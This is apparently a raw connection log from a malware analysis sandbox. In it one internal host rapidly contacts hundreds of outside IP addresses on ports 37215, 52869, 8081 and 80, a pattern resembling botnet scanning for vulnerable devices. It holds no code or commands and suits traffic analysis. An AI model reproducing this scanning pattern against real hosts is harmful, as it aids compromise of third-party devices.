Jul 20, 2024 23:10:40.157651901 CEST	40270	37215	192.168.2.15	197.243.62.202
Jul 20, 2024 23:10:40.157684088 CEST	41534	80	192.168.2.15	88.139.130.203
Jul 20, 2024 23:10:40.157691956 CEST	54012	80	192.168.2.15	88.239.107.91
Jul 20, 2024 23:10:40.157699108 CEST	36772	8081	192.168.2.15	139.20.180.119
Jul 20, 2024 23:10:40.159559965 CEST	43458	8081	192.168.2.15	73.57.192.131
Jul 20, 2024 23:10:40.159559965 CEST	43458	8081	192.168.2.15	73.57.192.131
Jul 20, 2024 23:10:40.161683083 CEST	48182	52869	192.168.2.15	109.51.3.47
Jul 20, 2024 23:10:40.162045956 CEST	54032	80	192.168.2.15	88.107.11.25
Jul 20, 2024 23:10:40.162993908 CEST	44384	8081	192.168.2.15	73.57.192.131
Jul 20, 2024 23:10:40.163189888 CEST	36584	52869	192.168.2.15	89.186.152.105
Jul 20, 2024 23:10:40.163189888 CEST	36584	52869	192.168.2.15	89.186.152.105
Jul 20, 2024 23:10:40.164184093 CEST	36876	80	192.168.2.15	88.137.64.145
Jul 20, 2024 23:10:40.164184093 CEST	36876	80	192.168.2.15	88.137.64.145
Jul 20, 2024 23:10:40.164746046 CEST	48172	37215	192.168.2.15	41.158.40.220
Jul 20, 2024 23:10:40.165952921 CEST	34512	8081	192.168.2.15	9.154.150.75
Jul 20, 2024 23:10:40.165952921 CEST	34512	8081	192.168.2.15	9.154.150.75
Jul 20, 2024 23:10:40.167201042 CEST	37954	80	192.168.2.15	88.137.64.145
Jul 20, 2024 23:10:40.167936087 CEST	35438	8081	192.168.2.15	9.154.150.75
Jul 20, 2024 23:10:40.168613911 CEST	37488	52869	192.168.2.15	89.186.152.105
Jul 20, 2024 23:10:40.169680119 CEST	47828	52869	192.168.2.15	96.224.29.242
Jul 20, 2024 23:10:40.169680119 CEST	46486	8081	192.168.2.15	120.75.38.85
Jul 20, 2024 23:10:40.169692039 CEST	41428	8081	192.168.2.15	65.144.4.91
Jul 20, 2024 23:10:40.169693947 CEST	39870	80	192.168.2.15	88.206.166.4
Jul 20, 2024 23:10:40.172537088 CEST	35072	80	192.168.2.15	88.140.27.176
Jul 20, 2024 23:10:40.172537088 CEST	35072	80	192.168.2.15	88.140.27.176
Jul 20, 2024 23:10:40.174650908 CEST	40874	8081	192.168.2.15	89.94.228.2
Jul 20, 2024 23:10:40.174650908 CEST	40874	8081	192.168.2.15	89.94.228.2
Jul 20, 2024 23:10:40.174983978 CEST	48734	37215	192.168.2.15	157.230.78.164
Jul 20, 2024 23:10:40.177530050 CEST	36150	80	192.168.2.15	88.140.27.176
Jul 20, 2024 23:10:40.177680016 CEST	41800	8081	192.168.2.15	89.94.228.2
Jul 20, 2024 23:10:40.177680016 CEST	44964	8081	192.168.2.15	116.99.52.164
Jul 20, 2024 23:10:40.177686930 CEST	42448	8081	192.168.2.15	212.35.10.142
Jul 20, 2024 23:10:40.177690029 CEST	40606	80	192.168.2.15	88.174.33.120
Jul 20, 2024 23:10:40.177690029 CEST	33120	80	192.168.2.15	88.131.16.171
Jul 20, 2024 23:10:40.179276943 CEST	35850	52869	192.168.2.15	166.167.121.109
Jul 20, 2024 23:10:40.179276943 CEST	35850	52869	192.168.2.15	166.167.121.109
Jul 20, 2024 23:10:40.181397915 CEST	58016	80	192.168.2.15	88.192.51.31
Jul 20, 2024 23:10:40.181399107 CEST	58016	80	192.168.2.15	88.192.51.31
Jul 20, 2024 23:10:40.181495905 CEST	53858	8081	192.168.2.15	109.254.234.165
Jul 20, 2024 23:10:40.181878090 CEST	53858	8081	192.168.2.15	109.254.234.165
Jul 20, 2024 23:10:40.181878090 CEST	43458	8081	192.168.2.15	73.57.192.131
Jul 20, 2024 23:10:40.182547092 CEST	54458	37215	192.168.2.15	14.62.43.62
Jul 20, 2024 23:10:40.183643103 CEST	54782	8081	192.168.2.15	109.254.234.165
Jul 20, 2024 23:10:40.184051037 CEST	36760	52869	192.168.2.15	166.167.121.109
Jul 20, 2024 23:10:40.184834003 CEST	59098	80	192.168.2.15	88.192.51.31
Jul 20, 2024 23:10:40.185681105 CEST	52952	80	192.168.2.15	88.107.11.25
Jul 20, 2024 23:10:40.185729980 CEST	36876	80	192.168.2.15	88.137.64.145
Jul 20, 2024 23:10:40.187308073 CEST	42816	8081	192.168.2.15	156.118.202.241
Jul 20, 2024 23:10:40.187536001 CEST	42816	8081	192.168.2.15	156.118.202.241
Jul 20, 2024 23:10:40.188865900 CEST	47176	80	192.168.2.15	88.45.173.219
Jul 20, 2024 23:10:40.188865900 CEST	47176	80	192.168.2.15	88.45.173.219
Jul 20, 2024 23:10:40.189683914 CEST	36584	52869	192.168.2.15	89.186.152.105
Jul 20, 2024 23:10:40.189932108 CEST	59932	37215	192.168.2.15	41.230.50.79
Jul 20, 2024 23:10:40.191056967 CEST	43740	8081	192.168.2.15	156.118.202.241
Jul 20, 2024 23:10:40.191613913 CEST	46580	52869	192.168.2.15	222.46.101.20
Jul 20, 2024 23:10:40.191740036 CEST	46580	52869	192.168.2.15	222.46.101.20
Jul 20, 2024 23:10:40.192622900 CEST	48258	80	192.168.2.15	88.45.173.219
Jul 20, 2024 23:10:40.193682909 CEST	35072	80	192.168.2.15	88.140.27.176
Jul 20, 2024 23:10:40.193689108 CEST	34512	8081	192.168.2.15	9.154.150.75
Jul 20, 2024 23:10:40.193700075 CEST	42578	52869	192.168.2.15	187.182.235.57
Jul 20, 2024 23:10:40.193835020 CEST	51596	80	192.168.2.15	88.70.91.27
Jul 20, 2024 23:10:40.194755077 CEST	43702	8081	192.168.2.15	218.163.113.131
Jul 20, 2024 23:10:40.194755077 CEST	43702	8081	192.168.2.15	218.163.113.131
Jul 20, 2024 23:10:40.196795940 CEST	39416	80	192.168.2.15	88.188.190.129
Jul 20, 2024 23:10:40.196795940 CEST	39416	80	192.168.2.15	88.188.190.129
Jul 20, 2024 23:10:40.197110891 CEST	44624	8081	192.168.2.15	218.163.113.131
Jul 20, 2024 23:10:40.197554111 CEST	47494	52869	192.168.2.15	222.46.101.20
Jul 20, 2024 23:10:40.197639942 CEST	54186	37215	192.168.2.15	41.21.7.132
Jul 20, 2024 23:10:40.198057890 CEST	40874	8081	192.168.2.15	89.94.228.2
Jul 20, 2024 23:10:40.198057890 CEST	57236	8081	192.168.2.15	98.32.247.128
Jul 20, 2024 23:10:40.199883938 CEST	40478	80	192.168.2.15	88.188.190.129
Jul 20, 2024 23:10:40.200234890 CEST	34844	8081	192.168.2.15	220.76.9.69
Jul 20, 2024 23:10:40.200234890 CEST	34844	8081	192.168.2.15	220.76.9.69
Jul 20, 2024 23:10:40.203156948 CEST	59424	80	192.168.2.15	88.255.190.143
Jul 20, 2024 23:10:40.203156948 CEST	59424	80	192.168.2.15	88.255.190.143
Jul 20, 2024 23:10:40.203322887 CEST	35766	8081	192.168.2.15	220.76.9.69
Jul 20, 2024 23:10:40.204128981 CEST	36464	52869	192.168.2.15	152.242.221.75
Jul 20, 2024 23:10:40.204128981 CEST	36464	52869	192.168.2.15	152.242.221.75
Jul 20, 2024 23:10:40.204407930 CEST	32902	37215	192.168.2.15	41.151.166.61
Jul 20, 2024 23:10:40.205679893 CEST	53858	8081	192.168.2.15	109.254.234.165
Jul 20, 2024 23:10:40.205694914 CEST	35850	52869	192.168.2.15	166.167.121.109
Jul 20, 2024 23:10:40.205833912 CEST	47498	8081	192.168.2.15	79.84.60.251
Jul 20, 2024 23:10:40.206516981 CEST	60482	80	192.168.2.15	88.255.190.143
Jul 20, 2024 23:10:40.207205057 CEST	37774	8081	192.168.2.15	59.207.243.209
Jul 20, 2024 23:10:40.207205057 CEST	37774	8081	192.168.2.15	59.207.243.209
Jul 20, 2024 23:10:40.208920956 CEST	38696	8081	192.168.2.15	59.207.243.209
Jul 20, 2024 23:10:40.209115028 CEST	37386	52869	192.168.2.15	152.242.221.75
Jul 20, 2024 23:10:40.209655046 CEST	37624	80	192.168.2.15	88.123.146.21
Jul 20, 2024 23:10:40.209655046 CEST	37624	80	192.168.2.15	88.123.146.21
Jul 20, 2024 23:10:40.209692955 CEST	53954	52869	192.168.2.15	203.62.78.235
Jul 20, 2024 23:10:40.209692001 CEST	58016	80	192.168.2.15	88.192.51.31
Jul 20, 2024 23:10:40.209706068 CEST	51394	80	192.168.2.15	88.166.84.21
Jul 20, 2024 23:10:40.210938931 CEST	49096	37215	192.168.2.15	197.136.106.52
Jul 20, 2024 23:10:40.211842060 CEST	59068	8081	192.168.2.15	140.197.167.36
Jul 20, 2024 23:10:40.211842060 CEST	59068	8081	192.168.2.15	140.197.167.36
Jul 20, 2024 23:10:40.212810993 CEST	38680	80	192.168.2.15	88.123.146.21
Jul 20, 2024 23:10:40.213682890 CEST	46580	52869	192.168.2.15	222.46.101.20
Jul 20, 2024 23:10:40.213685989 CEST	42816	8081	192.168.2.15	156.118.202.241
Jul 20, 2024 23:10:40.215399981 CEST	59990	8081	192.168.2.15	140.197.167.36
Jul 20, 2024 23:10:40.217683077 CEST	43702	8081	192.168.2.15	218.163.113.131
Jul 20, 2024 23:10:40.217689037 CEST	47176	80	192.168.2.15	88.45.173.219
Jul 20, 2024 23:10:40.217706919 CEST	50218	80	192.168.2.15	88.80.210.128
Jul 20, 2024 23:10:40.217713118 CEST	39416	80	192.168.2.15	88.188.190.129
Jul 20, 2024 23:10:40.217713118 CEST	38690	8081	192.168.2.15	124.113.55.225
Jul 20, 2024 23:10:40.217787981 CEST	33992	52869	192.168.2.15	178.153.143.199
Jul 20, 2024 23:10:40.217787981 CEST	33992	52869	192.168.2.15	178.153.143.199
Jul 20, 2024 23:10:40.219019890 CEST	32904	80	192.168.2.15	88.102.2.6
Jul 20, 2024 23:10:40.219019890 CEST	32904	80	192.168.2.15	88.102.2.6
Jul 20, 2024 23:10:40.219242096 CEST	47154	37215	192.168.2.15	41.123.206.73
Jul 20, 2024 23:10:40.220493078 CEST	52268	8081	192.168.2.15	136.254.84.193
Jul 20, 2024 23:10:40.220493078 CEST	52268	8081	192.168.2.15	136.254.84.193
Jul 20, 2024 23:10:40.221715927 CEST	34844	8081	192.168.2.15	220.76.9.69
Jul 20, 2024 23:10:40.222445011 CEST	33956	80	192.168.2.15	88.102.2.6
Jul 20, 2024 23:10:40.222965002 CEST	53190	8081	192.168.2.15	136.254.84.193
Jul 20, 2024 23:10:40.223556042 CEST	34920	52869	192.168.2.15	178.153.143.199
Jul 20, 2024 23:10:40.225632906 CEST	46806	80	192.168.2.15	88.58.50.162
Jul 20, 2024 23:10:40.225632906 CEST	46806	80	192.168.2.15	88.58.50.162
Jul 20, 2024 23:10:40.225684881 CEST	59424	80	192.168.2.15	88.255.190.143
Jul 20, 2024 23:10:40.225688934 CEST	43330	8081	192.168.2.15	104.127.16.83
Jul 20, 2024 23:10:40.226269007 CEST	50948	8081	192.168.2.15	109.43.3.47
Jul 20, 2024 23:10:40.226269007 CEST	50948	8081	192.168.2.15	109.43.3.47
Jul 20, 2024 23:10:40.226619959 CEST	42874	37215	192.168.2.15	49.223.157.49
Jul 20, 2024 23:10:40.229810953 CEST	36464	52869	192.168.2.15	152.242.221.75
Jul 20, 2024 23:10:40.230530977 CEST	47854	80	192.168.2.15	88.58.50.162
Jul 20, 2024 23:10:40.231014967 CEST	51870	8081	192.168.2.15	109.43.3.47
Jul 20, 2024 23:10:40.233562946 CEST	42662	80	192.168.2.15	88.126.87.180
Jul 20, 2024 23:10:40.233562946 CEST	42662	80	192.168.2.15	88.126.87.180
Jul 20, 2024 23:10:40.233663082 CEST	55418	8081	192.168.2.15	63.16.209.243
Jul 20, 2024 23:10:40.233690023 CEST	59068	8081	192.168.2.15	140.197.167.36
Jul 20, 2024 23:10:40.233690023 CEST	37624	80	192.168.2.15	88.123.146.21
Jul 20, 2024 23:10:40.233704090 CEST	37774	8081	192.168.2.15	59.207.243.209
Jul 20, 2024 23:10:40.233704090 CEST	41034	80	192.168.2.15	88.83.51.96
Jul 20, 2024 23:10:40.234086037 CEST	55418	8081	192.168.2.15	63.16.209.243
Jul 20, 2024 23:10:40.235219955 CEST	47964	37215	192.168.2.15	187.14.16.38
Jul 20, 2024 23:10:40.236092091 CEST	56338	8081	192.168.2.15	63.16.209.243
Jul 20, 2024 23:10:40.236433983 CEST	41928	52869	192.168.2.15	99.118.106.29
Jul 20, 2024 23:10:40.236716986 CEST	43708	80	192.168.2.15	88.126.87.180
Jul 20, 2024 23:10:40.237679958 CEST	53590	8081	192.168.2.15	193.51.219.44
Jul 20, 2024 23:10:40.239438057 CEST	51240	8081	192.168.2.15	96.174.40.204
Jul 20, 2024 23:10:40.239438057 CEST	51240	8081	192.168.2.15	96.174.40.204
Jul 20, 2024 23:10:40.240937948 CEST	47046	80	192.168.2.15	88.180.237.224
Jul 20, 2024 23:10:40.240937948 CEST	47046	80	192.168.2.15	88.180.237.224
Jul 20, 2024 23:10:40.241334915 CEST	35578	37215	192.168.2.15	41.180.153.162
Jul 20, 2024 23:10:40.241698980 CEST	32904	80	192.168.2.15	88.102.2.6
Jul 20, 2024 23:10:40.241703987 CEST	36874	80	192.168.2.15	88.131.52.117
Jul 20, 2024 23:10:40.241703987 CEST	57284	52869	192.168.2.15	64.61.109.158
Jul 20, 2024 23:10:40.242902994 CEST	52160	8081	192.168.2.15	96.174.40.204
Jul 20, 2024 23:10:40.244174957 CEST	48084	80	192.168.2.15	88.180.237.224
Jul 20, 2024 23:10:40.245636940 CEST	58682	8081	192.168.2.15	39.109.155.171
Jul 20, 2024 23:10:40.245636940 CEST	58682	8081	192.168.2.15	39.109.155.171
Jul 20, 2024 23:10:40.245680094 CEST	52268	8081	192.168.2.15	136.254.84.193
Jul 20, 2024 23:10:40.245729923 CEST	33992	52869	192.168.2.15	178.153.143.199
Jul 20, 2024 23:10:40.247128963 CEST	43254	80	192.168.2.15	88.45.23.189
Jul 20, 2024 23:10:40.247128963 CEST	43254	80	192.168.2.15	88.45.23.189
Jul 20, 2024 23:10:40.247550964 CEST	59598	8081	192.168.2.15	39.109.155.171
Jul 20, 2024 23:10:40.247648954 CEST	47902	52869	192.168.2.15	146.67.192.198
Jul 20, 2024 23:10:40.248398066 CEST	57238	37215	192.168.2.15	41.152.10.195
Jul 20, 2024 23:10:40.249680996 CEST	46806	80	192.168.2.15	88.58.50.162
Jul 20, 2024 23:10:40.249681950 CEST	51740	80	192.168.2.15	88.43.49.250
Jul 20, 2024 23:10:40.249681950 CEST	45256	8081	192.168.2.15	95.67.212.64
Jul 20, 2024 23:10:40.250674963 CEST	44286	80	192.168.2.15	88.45.23.189
Jul 20, 2024 23:10:40.251648903 CEST	59874	8081	192.168.2.15	128.22.65.203
Jul 20, 2024 23:10:40.251648903 CEST	59874	8081	192.168.2.15	128.22.65.203
Jul 20, 2024 23:10:40.256856918 CEST	50948	8081	192.168.2.15	109.43.3.47
Jul 20, 2024 23:10:40.257710934 CEST	42662	80	192.168.2.15	88.126.87.180
Jul 20, 2024 23:10:40.258493900 CEST	37910	52869	192.168.2.15	90.4.66.163
Jul 20, 2024 23:10:40.258893013 CEST	55418	8081	192.168.2.15	63.16.209.243
Jul 20, 2024 23:10:40.266455889 CEST	58682	8081	192.168.2.15	39.109.155.171
Jul 20, 2024 23:10:40.268096924 CEST	40410	8081	192.168.2.15	31.8.205.246
Jul 20, 2024 23:10:40.269587994 CEST	51240	8081	192.168.2.15	96.174.40.204
Jul 20, 2024 23:10:40.269587994 CEST	47046	80	192.168.2.15	88.180.237.224
Jul 20, 2024 23:10:40.269742966 CEST	50840	80	192.168.2.15	88.97.87.84
Jul 20, 2024 23:10:40.291477919 CEST	57618	8081	192.168.2.15	93.134.175.245
Jul 20, 2024 23:10:40.302536011 CEST	34462	8081	192.168.2.15	59.64.211.16
Jul 20, 2024 23:10:40.304188013 CEST	47514	52869	192.168.2.15	169.249.196.201
Jul 20, 2024 23:10:40.304188013 CEST	46142	8081	192.168.2.15	42.75.70.65
Jul 20, 2024 23:10:40.305784941 CEST	60478	8081	192.168.2.15	60.13.47.181
Jul 20, 2024 23:10:40.308775902 CEST	47906	8081	192.168.2.15	151.208.135.249
Jul 20, 2024 23:10:40.308775902 CEST	33292	80	192.168.2.15	88.14.192.250
Jul 20, 2024 23:10:40.313721895 CEST	48858	52869	192.168.2.15	210.2.46.1
Jul 20, 2024 23:10:40.321701050 CEST	48766	8081	192.168.2.15	129.96.11.55
Jul 20, 2024 23:10:40.322213888 CEST	59874	8081	192.168.2.15	128.22.65.203
Jul 20, 2024 23:10:40.338933945 CEST	36054	80	192.168.2.15	88.8.102.154
Jul 20, 2024 23:10:40.339318991 CEST	41316	80	192.168.2.15	88.105.34.41
Jul 20, 2024 23:10:40.342262030 CEST	46686	80	192.168.2.15	88.208.60.45
Jul 20, 2024 23:10:40.344930887 CEST	49796	52869	192.168.2.15	151.94.173.235
Jul 20, 2024 23:10:40.344930887 CEST	56752	80	192.168.2.15	88.17.190.109
Jul 20, 2024 23:10:40.345501900 CEST	38786	8081	192.168.2.15	38.56.107.193
Jul 20, 2024 23:10:40.351645947 CEST	55136	8081	192.168.2.15	130.64.237.83
Jul 20, 2024 23:10:40.351645947 CEST	39414	52869	192.168.2.15	133.58.253.32
Jul 20, 2024 23:10:40.352077007 CEST	37358	80	192.168.2.15	88.206.157.252
Jul 20, 2024 23:10:40.353688955 CEST	57468	8081	192.168.2.15	53.134.227.78
Jul 20, 2024 23:10:40.354084969 CEST	52432	80	192.168.2.15	88.53.212.206
Jul 20, 2024 23:10:40.356060028 CEST	8081	42224	213.200.213.234	192.168.2.15
Jul 20, 2024 23:10:40.356080055 CEST	80	36054	88.8.102.154	192.168.2.15
Jul 20, 2024 23:10:40.356093884 CEST	52869	43734	203.39.100.182	192.168.2.15
Jul 20, 2024 23:10:40.356108904 CEST	8081	55136	130.64.237.83	192.168.2.15
Jul 20, 2024 23:10:40.356281042 CEST	80	37358	88.206.157.252	192.168.2.15
Jul 20, 2024 23:10:40.356295109 CEST	52869	60064	206.49.109.215	192.168.2.15
Jul 20, 2024 23:10:40.356307030 CEST	80	33452	88.160.211.242	192.168.2.15
Jul 20, 2024 23:10:40.356369972 CEST	8081	50848	64.52.71.132	192.168.2.15
Jul 20, 2024 23:10:40.356384993 CEST	8081	36772	139.20.180.119	192.168.2.15
Jul 20, 2024 23:10:40.356652021 CEST	52869	39574	112.183.31.205	192.168.2.15
Jul 20, 2024 23:10:40.356901884 CEST	52869	60906	162.144.96.77	192.168.2.15
Jul 20, 2024 23:10:40.356942892 CEST	60906	52869	192.168.2.15	162.144.96.77
Jul 20, 2024 23:10:40.357486010 CEST	52869	60906	162.144.96.77	192.168.2.15
Jul 20, 2024 23:10:40.357567072 CEST	8081	37720	139.20.180.119	192.168.2.15
Jul 20, 2024 23:10:40.357580900 CEST	52869	60874	206.49.109.215	192.168.2.15
Jul 20, 2024 23:10:40.357594967 CEST	80	40606	88.174.33.120	192.168.2.15
Jul 20, 2024 23:10:40.357608080 CEST	8081	42448	212.35.10.142	192.168.2.15
Jul 20, 2024 23:10:40.358257055 CEST	60906	52869	192.168.2.15	162.144.96.77
Jul 20, 2024 23:10:40.358257055 CEST	37720	8081	192.168.2.15	139.20.180.119
Jul 20, 2024 23:10:40.358422995 CEST	46400	80	192.168.2.15	88.117.202.28
Jul 20, 2024 23:10:40.358618021 CEST	43254	80	192.168.2.15	88.45.23.189
Jul 20, 2024 23:10:40.358618021 CEST	54398	80	192.168.2.15	88.115.2.250
Jul 20, 2024 23:10:40.358618021 CEST	42060	8081	192.168.2.15	101.27.114.183
Jul 20, 2024 23:10:40.359278917 CEST	80	41696	88.174.33.120	192.168.2.15
Jul 20, 2024 23:10:40.359702110 CEST	37215	34274	157.70.57.191	192.168.2.15
Jul 20, 2024 23:10:40.359718084 CEST	8081	43396	212.35.10.142	192.168.2.15
Jul 20, 2024 23:10:40.359750032 CEST	43396	8081	192.168.2.15	212.35.10.142
Jul 20, 2024 23:10:40.360196114 CEST	38634	8081	192.168.2.15	193.73.82.86
Jul 20, 2024 23:10:40.360196114 CEST	46422	8081	192.168.2.15	191.77.173.179
Jul 20, 2024 23:10:40.360508919 CEST	34274	37215	192.168.2.15	157.70.57.191
Jul 20, 2024 23:10:40.360738039 CEST	52869	42578	187.182.235.57	192.168.2.15
Jul 20, 2024 23:10:40.360754013 CEST	80	51596	88.70.91.27	192.168.2.15
Jul 20, 2024 23:10:40.360766888 CEST	8081	57236	98.32.247.128	192.168.2.15
Jul 20, 2024 23:10:40.360780954 CEST	80	40606	88.174.33.120	192.168.2.15
Jul 20, 2024 23:10:40.360794067 CEST	80	52684	88.70.91.27	192.168.2.15
Jul 20, 2024 23:10:40.360806942 CEST	8081	58182	98.32.247.128	192.168.2.15
Jul 20, 2024 23:10:40.360820055 CEST	52869	43394	187.182.235.57	192.168.2.15
Jul 20, 2024 23:10:40.360829115 CEST	52684	80	192.168.2.15	88.70.91.27
Jul 20, 2024 23:10:40.360833883 CEST	37215	39404	128.242.117.249	192.168.2.15
Jul 20, 2024 23:10:40.360846996 CEST	8081	42448	212.35.10.142	192.168.2.15
Jul 20, 2024 23:10:40.360858917 CEST	80	51394	88.166.84.21	192.168.2.15
Jul 20, 2024 23:10:40.360869884 CEST	39404	37215	192.168.2.15	128.242.117.249
Jul 20, 2024 23:10:40.360872030 CEST	8081	47498	79.84.60.251	192.168.2.15
Jul 20, 2024 23:10:40.360887051 CEST	80	52482	88.166.84.21	192.168.2.15
Jul 20, 2024 23:10:40.360901117 CEST	8081	48444	79.84.60.251	192.168.2.15
Jul 20, 2024 23:10:40.360913038 CEST	52869	53954	203.62.78.235	192.168.2.15
Jul 20, 2024 23:10:40.361502886 CEST	43394	52869	192.168.2.15	187.182.235.57
Jul 20, 2024 23:10:40.361684084 CEST	51758	52869	192.168.2.15	65.211.208.187
Jul 20, 2024 23:10:40.361697912 CEST	45520	80	192.168.2.15	88.203.15.239
Jul 20, 2024 23:10:40.361783028 CEST	53282	80	192.168.2.15	88.166.76.121
Jul 20, 2024 23:10:40.362073898 CEST	37215	47874	41.8.250.84	192.168.2.15
Jul 20, 2024 23:10:40.362099886 CEST	80	51596	88.70.91.27	192.168.2.15
Jul 20, 2024 23:10:40.362112999 CEST	80	50218	88.80.210.128	192.168.2.15
Jul 20, 2024 23:10:40.362127066 CEST	52869	42578	187.182.235.57	192.168.2.15
Jul 20, 2024 23:10:40.362140894 CEST	8081	38690	124.113.55.225	192.168.2.15
Jul 20, 2024 23:10:40.362154007 CEST	8081	39632	124.113.55.225	192.168.2.15
Jul 20, 2024 23:10:40.362169027 CEST	52869	54778	203.62.78.235	192.168.2.15
Jul 20, 2024 23:10:40.362183094 CEST	80	51308	88.80.210.128	192.168.2.15
Jul 20, 2024 23:10:40.362195969 CEST	8081	57236	98.32.247.128	192.168.2.15
Jul 20, 2024 23:10:40.362209082 CEST	37215	36006	64.161.87.250	192.168.2.15
Jul 20, 2024 23:10:40.362222910 CEST	8081	43330	104.127.16.83	192.168.2.15
Jul 20, 2024 23:10:40.362236023 CEST	80	41034	88.83.51.96	192.168.2.15
Jul 20, 2024 23:10:40.362248898 CEST	8081	47498	79.84.60.251	192.168.2.15
Jul 20, 2024 23:10:40.362261057 CEST	80	51394	88.166.84.21	192.168.2.15
Jul 20, 2024 23:10:40.362273932 CEST	8081	44272	104.127.16.83	192.168.2.15
Jul 20, 2024 23:10:40.362287045 CEST	52869	57284	64.61.109.158	192.168.2.15
Jul 20, 2024 23:10:40.362298965 CEST	52869	53954	203.62.78.235	192.168.2.15
Jul 20, 2024 23:10:40.362312078 CEST	80	42124	88.83.51.96	192.168.2.15
Jul 20, 2024 23:10:40.362345934 CEST	58502	52869	192.168.2.15	32.52.148.97
Jul 20, 2024 23:10:40.362349033 CEST	42124	80	192.168.2.15	88.83.51.96
Jul 20, 2024 23:10:40.362423897 CEST	37215	42998	41.225.135.170	192.168.2.15
Jul 20, 2024 23:10:40.362437963 CEST	8081	53590	193.51.219.44	192.168.2.15
Jul 20, 2024 23:10:40.362581968 CEST	80	36874	88.131.52.117	192.168.2.15
Jul 20, 2024 23:10:40.362595081 CEST	80	50218	88.80.210.128	192.168.2.15
Jul 20, 2024 23:10:40.362643003 CEST	52869	58114	64.61.109.158	192.168.2.15
Jul 20, 2024 23:10:40.362665892 CEST	8081	54530	193.51.219.44	192.168.2.15
Jul 20, 2024 23:10:40.362679005 CEST	8081	38690	124.113.55.225	192.168.2.15
Jul 20, 2024 23:10:40.362817049 CEST	80	37964	88.131.52.117	192.168.2.15
Jul 20, 2024 23:10:40.362838030 CEST	8081	45256	95.67.212.64	192.168.2.15
Jul 20, 2024 23:10:40.362857103 CEST	37964	80	192.168.2.15	88.131.52.117
Jul 20, 2024 23:10:40.363100052 CEST	37215	47708	157.162.123.109	192.168.2.15
Jul 20, 2024 23:10:40.363114119 CEST	8081	43330	104.127.16.83	192.168.2.15
Jul 20, 2024 23:10:40.363137007 CEST	47708	37215	192.168.2.15	157.162.123.109
Jul 20, 2024 23:10:40.363149881 CEST	80	51740	88.43.49.250	192.168.2.15
Jul 20, 2024 23:10:40.363163948 CEST	8081	46196	95.67.212.64	192.168.2.15
Jul 20, 2024 23:10:40.363177061 CEST	52869	37910	90.4.66.163	192.168.2.15
Jul 20, 2024 23:10:40.363198996 CEST	46196	8081	192.168.2.15	95.67.212.64
Jul 20, 2024 23:10:40.363478899 CEST	80	41034	88.83.51.96	192.168.2.15
Jul 20, 2024 23:10:40.363612890 CEST	80	52828	88.43.49.250	192.168.2.15
Jul 20, 2024 23:10:40.363626003 CEST	8081	40410	31.8.205.246	192.168.2.15
Jul 20, 2024 23:10:40.363640070 CEST	37215	34744	41.238.31.136	192.168.2.15
Jul 20, 2024 23:10:40.363651991 CEST	8081	53590	193.51.219.44	192.168.2.15
Jul 20, 2024 23:10:40.363652945 CEST	52828	80	192.168.2.15	88.43.49.250
Jul 20, 2024 23:10:40.363657951 CEST	47874	37215	192.168.2.15	41.8.250.84
Jul 20, 2024 23:10:40.363671064 CEST	52869	57284	64.61.109.158	192.168.2.15
Jul 20, 2024 23:10:40.363687992 CEST	8081	41348	31.8.205.246	192.168.2.15
Jul 20, 2024 23:10:40.363723040 CEST	41348	8081	192.168.2.15	31.8.205.246
Jul 20, 2024 23:10:40.363725901 CEST	52869	38748	90.4.66.163	192.168.2.15
Jul 20, 2024 23:10:40.363780022 CEST	80	36874	88.131.52.117	192.168.2.15
Jul 20, 2024 23:10:40.363794088 CEST	80	50840	88.97.87.84	192.168.2.15
Jul 20, 2024 23:10:40.363859892 CEST	8081	57618	93.134.175.245	192.168.2.15
Jul 20, 2024 23:10:40.363934994 CEST	8081	45256	95.67.212.64	192.168.2.15
Jul 20, 2024 23:10:40.363956928 CEST	80	51740	88.43.49.250	192.168.2.15
Jul 20, 2024 23:10:40.363971949 CEST	80	51928	88.97.87.84	192.168.2.15
Jul 20, 2024 23:10:40.363985062 CEST	37215	55772	157.136.199.255	192.168.2.15
Jul 20, 2024 23:10:40.363997936 CEST	52869	37910	90.4.66.163	192.168.2.15
Jul 20, 2024 23:10:40.364080906 CEST	8081	58556	93.134.175.245	192.168.2.15
Jul 20, 2024 23:10:40.364094973 CEST	52869	55586	126.171.98.117	192.168.2.15
Jul 20, 2024 23:10:40.364121914 CEST	58556	8081	192.168.2.15	93.134.175.245
Jul 20, 2024 23:10:40.364187002 CEST	80	54398	88.115.2.250	192.168.2.15
Jul 20, 2024 23:10:40.364200115 CEST	8081	34462	59.64.211.16	192.168.2.15
Jul 20, 2024 23:10:40.364212036 CEST	8081	40410	31.8.205.246	192.168.2.15
Jul 20, 2024 23:10:40.364295959 CEST	80	55484	88.115.2.250	192.168.2.15
Jul 20, 2024 23:10:40.364309072 CEST	8081	35398	59.64.211.16	192.168.2.15
Jul 20, 2024 23:10:40.364325047 CEST	52869	56428	126.171.98.117	192.168.2.15
Jul 20, 2024 23:10:40.364366055 CEST	35398	8081	192.168.2.15	59.64.211.16
Jul 20, 2024 23:10:40.364377022 CEST	37215	45996	41.95.14.253	192.168.2.15
Jul 20, 2024 23:10:40.364389896 CEST	80	52432	88.53.212.206	192.168.2.15
Jul 20, 2024 23:10:40.364403009 CEST	8081	32992	158.32.146.168	192.168.2.15
Jul 20, 2024 23:10:40.364409924 CEST	45996	37215	192.168.2.15	41.95.14.253
Jul 20, 2024 23:10:40.364417076 CEST	80	50840	88.97.87.84	192.168.2.15
Jul 20, 2024 23:10:40.365020990 CEST	80	53518	88.53.212.206	192.168.2.15
Jul 20, 2024 23:10:40.365036011 CEST	8081	33930	158.32.146.168	192.168.2.15
Jul 20, 2024 23:10:40.365072012 CEST	53518	80	192.168.2.15	88.53.212.206
Jul 20, 2024 23:10:40.367172956 CEST	32992	8081	192.168.2.15	158.32.146.168
Jul 20, 2024 23:10:40.367172956 CEST	55586	52869	192.168.2.15	126.171.98.117
Jul 20, 2024 23:10:40.367173910 CEST	46364	80	192.168.2.15	88.84.71.81
Jul 20, 2024 23:10:40.368418932 CEST	52869	49796	151.94.173.235	192.168.2.15
Jul 20, 2024 23:10:40.368434906 CEST	37215	40936	144.85.64.233	192.168.2.15
Jul 20, 2024 23:10:40.368447065 CEST	80	33292	88.14.192.250	192.168.2.15
Jul 20, 2024 23:10:40.368460894 CEST	8081	47906	151.208.135.249	192.168.2.15
Jul 20, 2024 23:10:40.368474007 CEST	8081	57618	93.134.175.245	192.168.2.15
Jul 20, 2024 23:10:40.368505001 CEST	8081	48822	151.208.135.249	192.168.2.15
Jul 20, 2024 23:10:40.368505001 CEST	40936	37215	192.168.2.15	144.85.64.233
Jul 20, 2024 23:10:40.368520975 CEST	52869	50644	151.94.173.235	192.168.2.15
